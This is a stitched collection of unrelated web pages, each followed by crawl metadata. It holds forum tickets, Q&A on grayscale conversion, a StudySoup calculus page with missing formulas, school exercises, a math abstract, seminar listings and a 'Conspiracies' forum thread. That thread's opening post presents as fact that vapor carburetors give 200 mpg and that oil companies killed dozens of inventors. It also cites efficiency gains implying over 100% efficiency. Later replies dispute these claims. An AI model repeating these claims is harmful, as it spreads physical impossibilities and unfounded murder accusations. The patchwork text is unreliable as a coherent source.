comment:2 Changed 6 years ago by Thomas Moschny
Cc: Thomas Moschny added; anonymous removed
Marked #4292 as a duplicate.
comment:3 Changed 6 years ago by Russ Tyndall
The problem is that MenusPlugin uses trac.ini keys (which are downcased) to refer to urls which are case sensitive. A more general solution would be to allow the key to specify its casing as an optional value (eg: billing.casing=Billing).
Either way, to ease this, I have changed TimingAndEstimationPlugin to use "billing" instead of "Billing".
HTH, Russ
comment:4 Changed 5 weeks ago by Ryan J Ollos
Owner: Catalin BALAN deleted
Modify Ticket
Change Properties | 2017-04-28 16:57:33 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.34172895550727844, "perplexity": 5156.65047091539}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-17/segments/1492917122996.52/warc/CC-MAIN-20170423031202-00125-ip-10-145-167-34.ec2.internal.warc.gz"} |
http://dsp.stackexchange.com/questions/17046/grayscale-conversion-before-applying-sobel-gradient-operator | # Grayscale conversion before applying sobel gradient operator
I am currently replacing a hand-made image processing library by OpenCV. The programmer who worked on this library had implemented the sobel gradient function. This implementation is right except that he first converts his image to grayscale with the formula thereafter (the arithmetic mean):
Y = 0.333 * R + 0.333 * G + 0.333 * B
In OpenCV, I see that they use the formula:
Y = 0.299 * R + 0.587 * G + 0.114 * B
To convert an image to grayscale.
Is the hand-made implementation wrong or can it be motivated by some purpose. Should I always use the OpenCV conversion version?
-
If the objects you are imaging have a restricted colour palette, you can adjust the coefficients to give you better contrast. – geometrikal Jun 26 '14 at 0:54
The values used by OpenCV are values used by Luma coding in video systems. Your original code just used an equal weight for each channel.
This may or may not be important for your application (probably not really).
-
The correct way to compute the luminance depends on how the color primaries (red, green blues) were defined when capturing the image.
The coefficients in OpenCV are taken from the CCIR 601 recommendation (and there are other similar standards).
The arithmetic average is more a Q&D approach.
As @Adi said, the nuance is probably qualitatively unimportant for you, except if you need identical reproduction of the results.
- | 2015-04-02 01:24:07 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.4346942603588104, "perplexity": 2272.8609145751416}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-14/segments/1427131309986.49/warc/CC-MAIN-20150323172149-00005-ip-10-168-14-71.ec2.internal.warc.gz"} |
https://studysoup.com/tsg/9286/calculus-early-transcendentals-1-edition-chapter-7-6-problem-34e | ×
Get Full Access to Calculus: Early Transcendentals - 1 Edition - Chapter 7.6 - Problem 34e
Get Full Access to Calculus: Early Transcendentals - 1 Edition - Chapter 7.6 - Problem 34e
×
# Solution: Trapezoid Rule and Simpson’s Rule Consider the
ISBN: 9780321570567 2
## Solution for problem 34E Chapter 7.6
Calculus: Early Transcendentals | 1st Edition
• Textbook Solutions
• 2901 Step-by-step solutions solved by professors and subject experts
• Get 24/7 help from StudySoup virtual teaching assistants
Calculus: Early Transcendentals | 1st Edition
4 5 1 334 Reviews
23
5
Problem 34E
Trapezoid Rule and Simpson’s Rule Consider the following integrals and the given values of n.a. Find the Trapezoid Rule approximation to the integral using n and 2n subintervals.b. Find the Simpson’s Rule approximation to the integral using 2n subintervals. It is easiest to obtain Simpson’s Rule approximations from the Trapezoid Rule approximations, as in Example 6.c. Compute the absolute errors in the Trapezoid Rule and Simpson’s Rule with 2n subintervals.
Step-by-Step Solution:
Problem 34ETrapezoid Rule and Simpson’s Rule Consider the following integrals and the given values of n.a. Find the Trapezoid Rule approximation to the integral using n and 2n subintervals.b. Find the Simpson’s Rule approximation to the integral using 2n subintervals. It is easiest to obtain Simpson’s Rule approximations from the Trapezoid Rule approximations, as in Example 6.c. Compute the absolute errors in the Trapezoid Rule and Simpson’s Rule with 2n subintervals.SolutionStep 1:Given integral is (a)Trapezoidal rule states that We have that a=0, b=, n=64.Therefore Divide interval [0, into n=64 subintervals of length with the following endpoints a=0,Now we just evaluate the function at those endpoints …….Finally, just sum up above values and multiply by Answer: 0.665766209170523.
Step 2 of 4
Step 3 of 4
##### ISBN: 9780321570567
Calculus: Early Transcendentals was written by and is associated to the ISBN: 9780321570567. The full step-by-step solution to problem: 34E from chapter: 7.6 was answered by , our top Calculus solution expert on 03/03/17, 03:45PM. This textbook survival guide was created for the textbook: Calculus: Early Transcendentals, edition: 1. This full solution covers the following key subjects: rule, trapezoid, simpson, subintervals, Approximation. This expansive textbook survival guide covers 85 chapters, and 5218 solutions. Since the solution to 34E from 7.6 chapter was answered, more than 301 students have viewed the full step-by-step answer. The answer to “Trapezoid Rule and Simpson’s Rule Consider the following integrals and the given values of n.a. Find the Trapezoid Rule approximation to the integral using n and 2n subintervals.b. Find the Simpson’s Rule approximation to the integral using 2n subintervals. It is easiest to obtain Simpson’s Rule approximations from the Trapezoid Rule approximations, as in Example 6.c. Compute the absolute errors in the Trapezoid Rule and Simpson’s Rule with 2n subintervals.” is broken down into a number of easy to follow steps, and 70 words.
#### Related chapters
Unlock Textbook Solution | 2021-10-18 23:05:57 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8899442553520203, "perplexity": 1998.9949676080487}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323585215.14/warc/CC-MAIN-20211018221501-20211019011501-00646.warc.gz"} |
http://miyklas.com.ua/p/english-language/grammar/ing-and-the-infinitive-17144/re-5d537d01-6b46-4fe8-a223-32015a78cbc4 | ### Умова завдання:
3Б.
Read the sentences and put the verbs into the correct form.
1. I rang the doorbell, but there was no answer. Then I tried on the door, but there was still no answer. (knock)
2. I need a change. I need away for a while. (go)
3. He looks so funny. Whenever I see him, I can’t help . (smile) | 2018-06-19 22:11:47 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9459448456764221, "perplexity": 5409.139425183314}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-26/segments/1529267863206.9/warc/CC-MAIN-20180619212507-20180619232507-00454.warc.gz"} |
https://www.cemc.uwaterloo.ca/pandocs/potw/2021-22/English/POTWC-21-D-04-S.html | # Problem of the Week Problem C and Solution Just Sum Dice
## Problem
Ahmik created a game for his school’s carnival where players roll two dice and find the sum of the two numbers on the top faces. If this sum is a perfect square or a prime number, they win a prize. To make it more interesting, Ahmik made the two dice using a 3D printer so that they each have the numbers $$1$$, $$2$$, $$3$$, $$5$$, $$7$$, and $$9$$ on their faces. One of the dice is purple and the other is green.
What is the probability that a player will win a prize after rolling the dice once?
Note:
A square of any integer is called a perfect square. The number $$25$$ is a perfect square since it can be expressed as $$5^2$$ or $$5 \times 5$$.
A prime number is an integer greater than $$1$$ that has only two positive divisors; $$1$$ and itself. The number $$17$$ is prime because its only positive divisors are $$1$$ and $$17$$.
## Solution
To solve this problem, we will create a table showing all of the possible rolls for each die and the corresponding sums.
Green Die 1 2 3 5 7 $$2$$ $$3$$ $$4$$ $$6$$ $$8$$ $$10$$ $$3$$ $$4$$ $$5$$ $$7$$ $$9$$ $$11$$ $$4$$ $$5$$ $$6$$ $$8$$ $$10$$ $$12$$ $$6$$ $$7$$ $$8$$ $$10$$ $$12$$ $$14$$ $$8$$ $$9$$ $$10$$ $$12$$ $$14$$ $$16$$ $$10$$ $$11$$ $$12$$ $$14$$ $$16$$ $$18$$
From the table, we see that there are $$36$$ possible outcomes. We also see that the perfect squares $$4$$, $$9$$, and $$16$$ appear in the table seven times.
The smallest number in the table is $$2$$, and the largest number in the table is $$18$$. The prime numbers appearing in the table in this range of numbers are $$2$$, $$3$$, $$5$$, $$7$$, and $$11$$. These numbers appear in the table a total of nine times.
Thus there are $$7$$ perfect squares and $$9$$ prime numbers in the table. Since a number cannot be both a prime number and a perfect square, we can conclude that there are $$7+9=16$$ sums that are prime numbers or perfect squares.
To determine the probability of a specific outcome, we divide the number of times the specific outcome occurs by the total number of possible outcomes. Thus, the probability of a player rolling a sum that is either a prime number or a perfect square is $$16\div 36=\frac{4}{9}\approx 44\%$$. Therefore, a player has approximately a $$44\%$$ chance of winning a prize after rolling the dice once.
Extension: A game is considered fair if the chance of winning is $$50\%$$. How could you change the rules of this game to make it fair? | 2021-12-07 12:12:04 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6610418558120728, "perplexity": 80.02479360450033}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964363376.49/warc/CC-MAIN-20211207105847-20211207135847-00378.warc.gz"} |
http://www.sciforums.com/threads/make-your-full-size-car-get-200-mpg.155461/ | # Make Your Full-Size Car Get 200 MPG
Discussion in 'Conspiracies' started by FatFreddy, Feb 25, 2016.
1. ### FatFreddyRegistered Senior Member
Messages:
327
Check out this info. If the videos don't work, do YouTube searches on the titles.
"Running Your Car on Gas Vapor - Stop Getting Screwed at The Pump"
This white vapor comes from separating the Atoms in gasoline.
http://fuel-efficient-vehicles.org/energy-news/?p=1310
the truth about gas and vapor part 1
the truth about gas and vapor part 2
https://www.google.es/webhp?sourcei...pv=2&ie=UTF-8#q=cars running on vaporized gas
http://electrifyingtimes.com/gasolinevapor.html
(excerpt)
-------------------------------------------
RUNNING ON VAPOR
By Bruce Meland,
Editor and Publisher of Electrifying Times
It is an often a misconception that most vehicles burn gasoline vapors in their internal combustion engines. The fact of the matter is, gasoline powered vehicles burn finely divided particles or droplets that are sprayed from the carburetor or fuel injectors, into the engine cylinders.
This is a very wasteful process of converting gasoline or diesel to energy. Maybe 20-30 % efficiency at most. It has been known and demonstrated for 60 or more years that burning gasoline vapors will give easily 5 times the mpg and near zero emissions. Actually if the vapors are heated to the necessary temperature of 450 degrees F, the gasoline vapors are actually fractionalized by catalytic cracking and converted to smaller light molecular hydrocarbons, methane and methanol. In my travels around the world I have been in contact with some very informed inventors, relatives or associates of inventors who have known of many high mileage low emission vapor carburetors. I am sure many of you have heard of the Pogue, Covey, and Fish high mileage carburetors.
-------------------------------------------
http://truedemocracyparty.net/2011/09/200-mpg-pogue-carburetor/
(excerpt)
--------------------------------------
Updated on Monday, May 24, 2010 in Technical Innovations
the 200-mpg carburetor
Pogue Carburetor
Don Garlits, a drag racing legend, poses Aug. 2, 2002, with a 125-miles-per-gallon Pogue Carburetor at Don Garlits Museum of Drag Racing, Ocala, Florida.”
photo by Bruce Ackerman, Star Banner, 2002
In Dec. 12, 1936 Canadian Automotive Magazine states that the standard carburetor gets about 25 mpg at only 9% efficiency. Therefore the Pogue carburetor is 72% efficient overall at 200 mpg.
“A carburetor that would allow a car to travel 200 miles on a gallon of gas caused oil stocks to crash when it was announced by its Canadian inventor Charles Nelson Pogue in the 1930s. But the carburetor was never produced in enough volume, and mysteriously, Pogue went overnight from impoverished inventor to the manager of a successful factory making oil filters for the motor industry. Ever since, suspicion has lingered that oil companies colluded to bury Pogue’s invention.”
--------------------------------------
http://blog.hasslberger.com/2007/04/pogue_carburetor_gasoline_vapo.html
(excerpt)
--------------------------------------
There is a website and a CD that have 604 carburetor patents that have been assigned to various companies and never developed. There were 53 inventors who wouldn't sell out. Each of them had fatal "accidents" two to three weeks after refusing to sell their patent(s). I knew four of these inventors personally. The website is http://www.fuelvapors.com/.
(excerpt)
---------------------------------------------------------------------------
In 1982; in Denver, Col.; I designed and built an ugly but functional vapor carb. for my 1967 Dodge Coronet. It used exhaust heat to assist in the vaporizing of the gasoline- which was sprayed into the heat exchanger at the bottom of the device- and the vapor rose through a maze of approx. 25 feet folded back and forth on itself at which it exited into a 2 1/2? ID hose (radiator hose) which I ran to an adapter on top of my existing carb which I used to start the 318 cubic inch engine. I achieved 87 miles per gallon. The machine shop that I had help me make the contraption told me that they had helped an earlier inventor with a very NICE carb. to adapt it to his auto – with approximately similar results. (Mine only ran me about $500 total w/ all the junk you have to assemble to get it to work.) They warned me not to make it too public, because the other inventor got the notice of some oil people from Texas who came up and gave him an offer to assume his invention. He refused. His home and workshop burned down 2 days later! He moved to parts unknown. I just thought you might find it interesting to hear from someone who has done this before. My point in the whole thing was; “If I could achieve 80+ mpg with a total of$500 invested- on a ’67 Dodge Coronet 318 V8; what could Chrysler do with the millions they have to invest?”
“In 1933 Charles Nelson Pogue made headlines when he drove a 1932 Ford V8, 200 miles on a gallon of gas during a demonstration conducted by The Ford Motor Company in Winnipeg, Manitoba using his super-carb system.” The Pogue Carb went into production and was sold openly. [317 were sold?] In the opening months of 1936, stock exchange offices and brokers were swamped with orders to dump all oil stock immediately. His invention caused such shock waves through the stock market, that the US and Canadian governments both stepped in and [successfully] applied pressure to stifle him.
“he saw Mr. Pogue in the midst of a bunch of oil company big wigs. He named the wigs, but I forget the names. They were heads of Texaco, Shell, Esso, etc. Some of them had red faces, and Mr. Pogue looked like a trapped rabbit.”
Pogue went overnight from impoverished inventor to the manager of a successful factory making oil filters for the motor industry.
[ see photo of Don Garlits with Pogue carb. on "Super Carburetors Hist." page ]
see Charles Pogue Carb.
Ron Brandt is the inventor of the perm-mag motor.
When he was a young man, he invented a 90-mpg carburetor. He was paid a visit by a man from Standard Oil, another man, and two men wearing US Marshal uniforms. They told him that if he ever made another carburetor, they would kill him, his wife, and two young children. He was quickly persuaded that his life wasn’t worth a “damn” carburetor. He happened to think to memorize the badge numbers of the two US Marshals and so had an attorney in Washington, DC check with the US Marshal’s office. They had no record of the two badge numbers.
Tom Ogle, a 24 year old mechanic drove 200 miles in a 1970 351 ci. Ford on 2 gallons of gas. Other mechanics and engineers checked for hidden tanks, none were found. Reporters and a camera crew went with him 100 miles out and back; 200 miles 2 gallons. He claimed from the beginning that he did not know exactly how the system worked, just that it did and he proved it time and again. He had hoped other engineers would help to explain what he was doing. I have seen three different news articles on him and reprinted here for your understanding. One states he turned down \$ 25 million from backers that would keep it off the market. He had a hard time getting backers that had integrity. Everybody wanted controlling interest and he knew it was going on the back shelf. Tom resisted and tried to get it on the market. Later he was shot and survived, only four months later he did die of an overdose of darvon and alcohol with no suicide note. Nobody explained what became of his idea. A patent was issued Dec. 11, 1979 # 4,177,779. Four months after his death.
see Tom Ogle Carb.
----------------------------------------------------------------------------------
Start watching this at the 2:00 time mark.
Diesels, Gaswagons & Zyklon-B Part 3 of 6
If a gas engine will run on smoke, its running on gas fumes doesn't seem that improbable. I think engineers could work out all the bugs.
-----------------------------------------------------------------------------------
If this turns out to be true, the word should be spread far and wide.
to hide all adverts.
3. ### originTrump is the best argument against a democracy.Valued Senior Member
Messages:
9,403
But it's not, so it won't.
Quick looking through your post it is full of incorrect and misleading information.
to hide all adverts.
5. ### FatFreddyRegistered Senior Member
Messages:
327
Please go into some detail.
to hide all adverts.
7. ### originTrump is the best argument against a democracy.Valued Senior Member
Messages:
9,403
Nah, there is no point. A waste of my time. You just continue to believe whatever you want.
8. ### billvonValued Senior Member
Messages:
12,273
I have a car that gets 150mpg equivalent. I hope they don't come and kill me! If I suddenly stop posting it will be PROOF that the government wants to cover up the FACTS!
9. ### zgmcRegistered Senior Member
Messages:
751
What are you driving?
Messages:
12,273
A Leaf.
11. ### zgmcRegistered Senior Member
Messages:
751
Nice. How do you like it? What's the range?
12. ### Billy TUse Sugar Cane Alcohol car FuelValued Senior Member
Messages:
23,198
I only skimmed pogue's collection of articles and gathered he used ultra sonic energy to make smaller droplets of fuel and does not tell what extra energy that required. A big drop, broken into many smaller drops does have more surface and there is a surface energy increase (more caloric fuel) but true vaporization would not be achieved - heat is required. However, I doubt he is "running on vapor" but smaller drops will vaporize more rapid in a hot environment (like inside a cylinder with combustion taking place). That will increase the pressure on the piston sooner. One of his articles did use "pre-heating" to run the engine on vapor, but again no mention, I saw in my skim, of how much thermal energy was used to make genuine vapor rather than just finer drop size.
I strongly doubt there is any significant amount of unburned fuel in the exhaust as claimed of a modern car, well tuned up. There is so much heat released in the cylinder that they need external water cooling. Many years ago on my first car, I thought: Why not put some water drops inside the cylinder to better utilize the excess heat released by combustion of the fuel, and I tried that, but too crudely to make any confirmed gain.
My summer job after freshman year in college was working for the Lion Oil Co. in Eldorado Arkansas, slightly more than 100 miles from Little Rock, where I went on week-ends to get home cooked food and clean laundry. I filled (and latter re-filled) the gas tank always with car in same position at same two pumps, (one at start and one at end of trip just outside Little Rock) carefully dropping in the last drops until the liquid level just came to the scratch mark I had made inside the filler tube. I noted the humidity of the air and always tried to go at 50mph, so never got behind another car, leaving after dark about 9PM kept traffic to near zero and let me keep all windows closed as by then the air was cooler. There was only one stop light on my route, and I always came to full stop, even if it was green.
Lion Oil had a dynamonitor engine test facility, that replace the spark plugs after 100 miles equivalent running. They gave me the barely used plugs for each trip. They were very clean still and I checked the gap, re-setting it if was not normal. My wet towel, one end in water, the intake air passed thru did not make any noticeable difference (some trips sucked the combustion air thru a dry towel). Near the end of that summer, I did note that high air humidity, especially driving thru light rain, did get better fuel economy.
I am convinced, a second fine water spray injector operating when the piston had moved down about 10% of its downward stroke could increase fuel mileage by a significant amount. Expanding to vapor some fine water droplets, inside cylinder and leaving less heat in the exhaust, would increase the pressure on piston top for the last 80% of the down stroke, to make better fuel economy. I don't think any system that requires extra heat energy for per-vaporization can. For net gain you must use a small part of the heat the would otherwise be dumped out with the exhaust to do more work on the downward moving piston.
13. ### billvonValued Senior Member
Messages:
12,273
Started out at about 75 miles, is now around 50.
14. ### exchemistValued Senior Member
Messages:
5,580
Water injection has certainly been studied by engine manufacturers. During my time working in the lubricants business, several of the marine diesel makers were looking at this, mainly as a way to avoid the very high cylinder gas temperatures that lead to NOx emission. But I think a small efficiency gain was found as well. Of course those engines also often has an energy recovery turbine in the exhaust - they were already at about 55% efficiency - pretty good for a heat engine.
But so far I think they have found that the complexity of the water injection system does not warrant commercialising it.
But the claim in the OP that you can get "5 times" the mileage by using vapour is obvious lies, given that engine efficiency is already 20-30%. To get 5 times this you would need an efficiency >100%! How f'ing stupid can you get? (rhetorical
Please Register or Log in to view the hidden image!
)
15. ### billvonValued Senior Member
Messages:
12,273
Water injection systems have been used for decades on everything from race cars to World War II fighter planes. They do indeed increase performance in many cases by allowing higher compression with lower octane fuels, but they do not significantly improve fuel economy over other (simpler) strategies like Atkinson cycle combustion.
Edont Knoff and Billy T like this.
16. ### Billy TUse Sugar Cane Alcohol car FuelValued Senior Member
Messages:
23,198
Thanks. I did not know of the Atkinson cycle, but wiki has very well ilustrated article on it here: https://en.wikipedia.org/wiki/Atkinson_cycle
17. ### Michael歌舞伎Valued Senior Member
Messages:
20,256
We can run a Toyota Prius for about 3 months without filling up. However, we do plug it in at night
Please Register or Log in to view the hidden image!
Oh, and there's 'free' charging stations all over Japan complimentary. Like at the shopping mall, or the park, airport, etc....
18. ### YazataValued Senior Member
Messages:
4,419
Too bad that Mythbusters TV show is no more. This 'myth' would be a perfect thing for them to test.
19. ### originTrump is the best argument against a democracy.Valued Senior Member
Messages:
9,403
The thing is that when you inject fuel into the cylinder, due to the heat and the pressure, the gas instantly vaporizes. The cylinder chamber is about 200C and the gasoline is introduced at about atmospheric pressure. So starting with vapor is a stupid idea. To get the same amount of vapor into the cylinder as you do when you start with liquid you would have to have to compress the vapor at a high pressure which is just a waste of energy.
Last edited: Mar 29, 2016
20. ### exchemistValued Senior Member
Messages:
5,580
Actually I don't think you need to do this. In commercial gas engines you certainly can inject the gas under pressure, but you can also have a venturi system in the inlet, in place of the carburettor of a conventional gasoline engine. But certainly, the notion that there is any great advantage in using pre-vaporised fuel is ridiculous. It's just a scam for credulous people. (I don't think Fat Freddy believes in it either, any more than he believes in all that conspiracy stuff about faked moon landings. I suspect all this is just his way to annoy the scientifically literate.)
Messages:
327
22. ### originTrump is the best argument against a democracy.Valued Senior Member
Messages:
9,403
No.
Russ_Watters likes this.
23. ### spidergoatValued Senior Member
Messages:
51,023
Audi just designed a gas engine that uses variable compression (along with the standard variable valve timing and fuel injection). | 2017-05-28 12:22:04 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2679921090602875, "perplexity": 3679.2943349227717}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-22/segments/1495463609817.29/warc/CC-MAIN-20170528120617-20170528140617-00052.warc.gz"} |
https://math.paperswithcode.com/paper/the-l-q-spectrum-for-a-class-of-self-similar | ## The $L^q$-spectrum for a class of self-similar measures with overlap
19 Sep 2019 · Hare Kathryn E., Hare Kevin G., Shen Wanchun ·
It is known that the heuristic principle, referred to as the multifractal formalism, need not hold for self-similar measures with overlap, such as the $3$-fold convolution of the Cantor measure and certain Bernoulli convolutions. In this paper we study an important function in the multifractal theory, the $L^{q}$-spectrum, $\tau (q)$, for measures of finite type, a class of self-similar measures that includes these examples... Corresponding to each measure, we introduce finitely many variants on the $% L^{q}$-spectrum which arise naturally from the finite type structure and are often easier to understand than $\tau$. We show that $\tau$ is always bounded by the minimum of these variants and is equal to the minimum variant for $q\geq 0$. This particular variant coincides with the $L^{q}$-spectrum of the measure $\mu$ restricted to appropriate subsets of its support. If the IFS satisfies particular structural properties, which do hold for the above examples, then $\tau$ is shown to be the minimum of these variants for all $q$. Under certain assumptions on the local dimensions of $\mu$, we prove that the minimum variant for $q \ll 0$ coincides with the straight line having slope equal to the maximum local dimension of $\mu$. Again, this is the case with the examples above. More generally, bounds are given for $\tau$ and its variants in terms of notions closely related to the local dimensions of $\mu$. read more
PDF Abstract
# Code Add Remove Mark official
No code implementations yet. Submit your code now
# Categories
Classical Analysis and ODEs | 2021-09-26 22:14:46 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8914698958396912, "perplexity": 396.60868075217667}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-39/segments/1631780057973.90/warc/CC-MAIN-20210926205414-20210926235414-00711.warc.gz"} |
http://qsms.math.snu.ac.kr/index.php?mid=board_sjXR83&order_type=desc&page=4&document_srl=2259 | 2022.03.19 22:05
# [SNU Number Theory Seminar 20220321, 0322, 0324] Three lectures on the Eisenstein ideal
조회 수 369 추천 수 0 댓글 0
?
#### 단축키
Prev이전 문서
Next다음 문서
크게 작게 위로 아래로 댓글로 가기 인쇄
?
#### 단축키
Prev이전 문서
Next다음 문서
크게 작게 위로 아래로 댓글로 가기 인쇄
일정시작 2022-03-21 2022-03-24 #FF5733
• Date : 3월 21일, 22일, 24일 10:00PM,
• Place : Zoom meeting: 220 305 8101 (passcode: 196884)
• Speaker : Preston Wake (Michigan State University)
• Title : Three lectures on the Eisenstein ideal
• Abstract : In his landmark 1977 paper "Modular curves and the Eisenstein ideal", Mazur studied congruences modulo p between cusp forms and then Eisenstein series of weight 2 and prime level N. He proved many deep results describing the structure of these congruences, and noted, based on computational evidence, that there is usually only one such cusp form, but sometimes there are several. He asked if there any arithmetic significance to this number of cusp forms. In this series of three lectures, we will address this question and see that this number is significant both algebraically (in terms of Galois cohomology) and analytically (in terms of L-functions). The first lecture will be an introduction to the subject with many examples. The second lecture will focus on the analytic aspects (Eisenstein series and L-functions) and will include generalizations to higher weight. The third lecture will focus on algebraic aspects (Galois representations and Galois cohomology) and will include generalizations to non-prime level. This is joint work with Carl Wang-Erickson.
제목+내용제목내용댓글이름닉네임아이디태그
List of Articles
번호 제목 글쓴이 날짜 조회 수
공지 QSMS Mailing List Registration 2021.09.09 1135
41 [QSMS Seminar 2022.03.04 (시간변경)] Introduction to Supersymmetric Field Theories 2022.02.15 657
40 [QSMS Seminar 2022.04.05] Trialities of W-algebras 2022.02.15 491
39 [BK21-QSMS Toric Geometry Seminar] The Fredholm regularity of discs 2022.03.14 438
38 [SNU Number Theory Seminar 2022.03.18] On p-rationality of $\mathbb{Q}(\zeta_{2l+1})^{+}$ for Sophie Germain primes $l$ 2022.03.19 434
» [SNU Number Theory Seminar 20220321, 0322, 0324] Three lectures on the Eisenstein ideal 2022.03.19 369
36 [QSMS Monthly Seminar] The dimension of the kernel of an Eisenstein ideal 2022.03.25 458
35 [SNU Number Theory Seminar 20220401] Randomness and structure for sums of cubes 2022.03.28 427
34 [QSMS Seminar 2022.04.19] Universal objects in vertex algebra theory 2022.04.07 462
33 [QSMS-BK21 Toric Geometry Seminar] Moduli Space of Special Lagrangians in the Complement of an Anticanonical Divisor 2022.04.12 533
32 [SNU Number Theory Seminar 2022-04-15] A note on non-ordinary primes for some genus-zero arithmetic groups 2022.04.12 426
31 [SNU Number Theory Seminar 2022-05-13] A singular function containing all Lagrange numbers less than three 2022.04.12 448
